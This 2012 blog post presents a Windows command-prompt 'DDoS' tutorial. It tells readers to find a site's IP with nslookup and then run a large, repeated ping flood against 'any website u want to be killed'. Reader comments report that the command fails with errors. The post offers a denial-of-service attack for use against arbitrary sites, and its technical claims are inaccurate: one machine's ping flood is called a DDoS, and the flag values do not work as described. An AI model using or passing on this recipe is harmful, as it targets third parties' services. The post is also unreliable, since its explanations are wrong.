Sunday, 29 January 2012

Send A DDOS Attack Using CMD

DoS Attack With Your Home Pc To Any WebSite U Want To Be Killed!!

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DoS Attack Stands For Denial of Service Attack
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What Is DoS?

A: Denial of Service (DoS) attackes are aggressive attacks on an individual Computer or WebSite with intent to deny services to intended users.
DoS attackes can target end-user systems, servers, routers and Network links(websites)

Requirments:
1- Command Prompt (CMD or DOS) Which is usually integrated in all Windows.
2- Ip-Address of Targeted Site.

How TO GET IP OF ANY SITE??"
No problem.. here is the solution..
open ur CMD (command prompt).. and type
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nslookup Site-Name
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(e.g nslookup www.google.com)

It will show u ip of the site.

ohk now write this command in CMD For Attack on Any Site/ Server..
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ping SITE-IP -l 65500 -n 10000000 -w 0.00001
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-n 10000000= the number of DoS attemps.. u can change the value "10000000" with ur desired value u want to attempt attack.

SITE-IP= Replace the text with the ip address of the site u want to be attacked..

-w 0.00001 = It is the waiting time after one ping attack.

NOTE: Dont Change or Remove -l, -n and -w in this command.. otherwise u will not able to attack

9 comments:

  1. when you type ping-IP - is the next digit a i or a j??

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    1. Does not work I get an general error

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    2. just showing transmitted failure:general failrer

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  2. PING: transmit failed, error code 87.

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  3. it says requested time failed

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  4. It has so many IP addresses sry if I am being stupid but I don't know which one to use

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